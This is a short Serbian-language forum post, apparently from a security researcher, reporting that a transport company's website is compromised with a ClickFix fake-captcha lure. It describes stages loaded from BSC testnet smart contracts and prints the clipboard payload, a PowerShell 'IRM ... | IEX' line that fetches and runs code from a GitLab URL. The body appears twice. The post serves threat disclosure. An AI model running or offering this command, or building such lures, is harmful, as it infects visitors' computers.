6 hours ago
sajt Dragović transporta je kompromitovan i posetiocima prikazuje clickfix :
Zlonamerni kôd je ubačen na stranicu sajta:
ovaj kôd učitava prvu fazu sa BSC testnet pametnog ugovora 0xA1decFB75C8C0CA28C10517ce56B710baf727d2e
Prva faza proverava posetioca (anti-analysis) i u ovom slučaju učitava clickfix stranicu za Windows sa pametnog ugovora 0x46790e2Ac7F3CA5a7D1bfCe312d11E91d23383Ff
Šalje IP adresu na pametni ugovor 0xf4a32588b50a59a82fbA148d436081A48d80832A gde se posle izvršavanja koda menja status i lažna captcha stranica se uklanja davajući posetiocu iluziju da je uspešno izvršio captcha zadatak i produžio na sajt.
u klipbord stavlja:
Nisam skoro video da se zloupotrebljava gitlab za fazu infekcije:
sažetak:
Ova kampanja sa ovim adresama pametnih ugovora postoji već neko vreme
Zlonamerni kôd je ubačen na stranicu sajta:
ovaj kôd učitava prvu fazu sa BSC testnet pametnog ugovora 0xA1decFB75C8C0CA28C10517ce56B710baf727d2e
Prva faza proverava posetioca (anti-analysis) i u ovom slučaju učitava clickfix stranicu za Windows sa pametnog ugovora 0x46790e2Ac7F3CA5a7D1bfCe312d11E91d23383Ff
Šalje IP adresu na pametni ugovor 0xf4a32588b50a59a82fbA148d436081A48d80832A gde se posle izvršavanja koda menja status i lažna captcha stranica se uklanja davajući posetiocu iluziju da je uspešno izvršio captcha zadatak i produžio na sajt.
u klipbord stavlja:
Code:
IRM gitlab.com/amber-ffa-f15a6b/c5fa-4bda-b3e2-5f9c4914c525/-/raw/main/9be-4304-aca5-58755806e515 | IEXNisam skoro video da se zloupotrebljava gitlab za fazu infekcije:
sažetak:
Ova kampanja sa ovim adresama pametnih ugovora postoji već neko vreme